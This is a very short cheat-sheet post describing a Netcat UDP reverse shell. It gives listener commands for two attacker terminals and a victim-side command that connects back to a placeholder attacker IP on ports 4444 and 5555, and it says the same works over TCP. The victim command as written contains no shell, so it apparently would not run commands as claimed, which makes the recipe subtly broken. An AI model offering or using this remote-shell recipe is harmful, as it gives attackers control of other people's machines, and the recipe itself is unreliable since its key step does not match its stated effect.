Here is a little memory helper about the uses of Netcat, an udp shell.
On the attacker:
Terminal 1: nc -lun -p 4444
Terminal 2: nc -lun -p 5555
On the Victim:
echo""|nc -un ipattacker 4444 | nc -un ipattacker 5555
So you type the commands on the Terminal 1 and you receive the output on Terminal 2.
This also apply to tcp